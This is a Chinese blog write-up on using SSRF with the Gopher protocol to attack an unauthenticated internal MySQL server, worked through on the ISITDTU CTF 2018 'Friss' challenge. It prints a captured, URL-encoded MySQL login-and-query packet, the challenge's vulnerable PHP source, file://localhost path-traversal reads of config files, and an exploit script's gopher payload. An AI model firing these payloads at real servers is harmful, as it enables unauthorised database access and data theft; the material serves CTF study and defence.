本文非原创,参考了如下链接
https://paper.seebug.org/510/
https://fireshellsecurity.team/isitdtu-friss/

0x00 前言

SRF(Server-Side Request Forgery)服务端请求伪造,是一种由攻击者构造形成由服务器端发起请求的一个漏洞,一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。

在互联网上已经很多介绍SSRF漏洞的原理,漏洞场景,漏洞利用方法的文章,但是大多数的SSRF漏洞利用都是内网扫描,内网服务识别,内网漏洞盲打,写计划任务获取shell,写私钥获取shell,利用SSRF漏洞结合Gohper或者Dict协议攻击Redis、MongoDB、Memcache等NoSQL,但是很少见有利用SSRF漏洞攻击内网MySQL、PostgreSQL、MSSQL等关系型数据库,所以本文我们将介绍如何利用SSRF漏洞结合Gopher系统攻击内网未授权MySQL,并且获取系统shell的方法。

0x01 MySQL基础相关

MySQL的通信协议。

MySQL分为服务端和客户端,客户端连接服务器使存在三种方法:

Unix套接字;
内存共享/命名管道;
TCP/IP套接字;
  • 在Linux或者Unix环境下,当我们输入mysql–uroot –proot登录MySQL服务器时就是用的Unix套接字连接;Unix套接字其实不是一个网络协议,只能在客户端和Mysql服务器在同一台电脑上才可以使用。

  • 在window系统中客户端和Mysql服务器在同一台电脑上,可以使用命名管道和共享内存的方式。

  • TCP/IP套接字是在任何系统下都可以使用的方式,也是使用最多的连接方式,当我们输入mysql–h127.0.0.1 –uroot –proot时就是要TCP/IP套接字。

MySQL认证过程:

MySQL客户端连接并登录服务器时存在两种情况:需要密码认证以及无需密码认证。当需要密码认证时使用挑战应答模式,服务器先发送salt然后客户端使用salt加密密码然后验证;当无需密码认证时直接发送TCP/IP数据包即可。所以在非交互模式下登录并操作MySQL只能在无需密码认证,未授权情况下进行,本文利用SSRF漏洞攻击MySQL也是在其未授权情况下进行的。

MySQL客户端与服务器的交互主要分为两个阶段:Connection Phase(连接阶段或者叫认证阶段)和Command Phase(命令阶段)。在连接阶段包括握手包和认证包,这里我们不详细说明握手包,主要关注认证数据包。

认证数据包格式如下:

Gopher 协议  ssrf  MYSQL 研究-ShaoBaoBaoEr's Blog

0x02 构造攻击数据包

通过上面MySQL通信协议的分析,现在需要构造一个基于TCP/IP的数据包,包括连接,认证,执行命令,退出等MySQL通信数据。

环境
kali linux 2
10.1.29-MariaDB-6+b1 Debian

新建用户
CREATEUSER 'curl'@'localhost';
GRANTALL ON *.* TO 'curl'@'localhost';

# 一个窗口抓包
tcpdump –i lo port 3306 –w mysql.pcay
# 一个窗口操作
mysql –h 127.0.0.1 –u curl
# 执行了以下语句
use test;
select * from flag;
exit;

抓到的包如下:

Gopher 协议  ssrf  MYSQL 研究-ShaoBaoBaoEr's Blog

TCP追踪,保存为原始数据【截图中为HEX转储,记得只要发给3306的数据,如下图所示】

Gopher 协议  ssrf  MYSQL 研究-ShaoBaoBaoEr's Blog

将数据转化为 url 编码如下所示:【我用的notepad++】

%AE%00%00%01%85%A6%3F%20%00%00%00%01%2D%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%63%75%72%6C%00%00%6D%79%73%71%6C%5F%6E%61%74%69%76%65%5F%70%61%73%73%77%6F%72%64%00%71%03%5F%6F%73%10%64%65%62%69%61%6E%2D%6C%69%6E%75%78%2D%67%6E%75%0C%5F%63%6C%69%65%6E%74%5F%6E%61%6D%65%08%6C%69%62%6D%79%73%71%6C%04%5F%70%69%64%04%35%31%32%31%0F%5F%63%6C%69%65%6E%74%5F%76%65%72%73%69%6F%6E%07%31%30%2E%31%2E%32%39%09%5F%70%6C%61%74%66%6F%72%6D%06%78%38%36%5F%36%34%0C%70%72%6F%67%72%61%6D%5F%6E%61%6D%65%05%6D%79%73%71%6C%21%00%00%00%03%73%65%6C%65%63%74%20%40%40%76%65%72%73%69%6F%6E%5F%63%6F%6D%6D%65%6E%74%20%6C%69%6D%69%74%20%31%12%00%00%00%03%53%45%4C%45%43%54%20%44%41%54%41%42%41%53%45%28%29%05%00%00%00%02%74%65%73%74%0F%00%00%00%03%73%68%6F%77%20%64%61%74%61%62%61%73%65%73%0C%00%00%00%03%73%68%6F%77%20%74%61%62%6C%65%73%06%00%00%00%04%48%41%43%4B%00%06%00%00%00%04%66%6C%61%67%00%13%00%00%00%03%73%65%6C%65%63%74%20%2A%20%66%72%6F%6D%20%66%6C%61%67%01%00%00%00%01

此时,利用curl 的gopher协议来发送数据,可以得到有趣的东西。【记得gopher协议的格式】 (--outout 后面跟文件名 ,我这里直接输出在shell 里面了)

Gopher 协议  ssrf  MYSQL 研究-ShaoBaoBaoEr's Blog

0x03 题目实战 ISITDTU CTF 2018 - Friss

遇到了这个题目才去学的这个东西。不过看郁离歌师傅已经玩的很顺畅了。。。
自己读出了源码却始终get不到点子,可恶啊~~~
`

// index.php
<?php
include_once "config.php";
if (isset($_POST['url'])&&!empty($_POST['url']))
{
    $url = $_POST['url'];
    $content_url = getUrlContent($url);
}
else
{
    $content_url = "";
}
if(isset($_GET['debug']))
{
    show_source(__FILE__);
}
?>
// config.php
<?php
$hosts = "localhost";
$dbusername = "ssrf_user";
$dbpasswd = "";
$dbname = "ssrf";
$dbport = 3306;

$conn = mysqli_connect($hosts,$dbusername,$dbpasswd,$dbname,$dbport);

function initdb($conn)
{
    $dbinit = "create table if not exists flag(secret varchar(100));";
    if(mysqli_query($conn,$dbinit)) return 1;
    else return 0;
}

function safe($url)
{
    $tmpurl = parse_url($url, PHP_URL_HOST);
    if($tmpurl != "localhost" and $tmpurl != "127.0.0.1")
    {
        var_dump($tmpurl);
        die("<h1>Only access to localhost</h1>");
    }
    return $url;
}

function getUrlContent($url){
    $url = safe($url);
    $url = escapeshellarg($url);
    $pl = "curl ".$url;
    echo $pl;
    $content = shell_exec($pl);
    return $content;
}
initdb($conn);
?>

首先给了一个curl 的界面,输入google.com后,提示
Gopher 协议  ssrf  MYSQL 研究-ShaoBaoBaoEr's Blog
Gopher 协议  ssrf  MYSQL 研究-ShaoBaoBaoEr's Blog

同时,也提示我们string(10)

猜测后台的waf应该是这样的:



php > var_dump(parse_url('file://localhost/../var/www/html/index.php"')); array(3) { ["scheme"]=> string(4) "file" ["host"]=> string(9) "localhost" ["path"]=> string(27) "/../var/www/html/index.php"" }

此时通过file协议可以读出文件的源码。

file://localhost/../../../var/www/html/index.php
file://localhost/../../../var/www/html/config.php

此时,我们可以发现,config.php中。数据库名为ssrf ,用户为ssrf_user,密码为空。

在自己本地测试,则创建一个库名字叫做ssrf,以及一个ssrf_user无密码的用户。

mysql -h 127.0.0.1 -u ssrf_user -e "use ssrf; select secret from flag"
并在另一个窗口抓包,然后把原始数据导出为urlencode格式即可

除了用自己本地测试的方法之外,还可以用别人写的脚本。【这个脚本只能用在低版本的mysql上(就是非maridb的版本)】

root@kali:~/gopher_test# python exploit.py -u ssrf_user -d ssrf -P 'select secret from flag'

Payload:
      gopher://foo@[cafebabe.cf]@yolo.com:3306/A0%00%00%01O%B7%00%00%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00ssrf_user%00%00ssrf%00V%01%00%00%03select%20concat%28cast%280x504b03040a00000000000000000000000000e8030000e803000010000000746869735f69735f7468655f666c6167%20as%20binary%29%2C%20rpad%28%28select%20secret%20from%20flag%29%2C%201000%2C%20%27-%27%29%2C%20cast%280x504b01021e030a00000000000000000000000000100000000000000000000000000000000000746869735f69735f7468655f666c6167504b0506000000000100010036000000640000000000%20as%20binary%29%29%00%00%00%00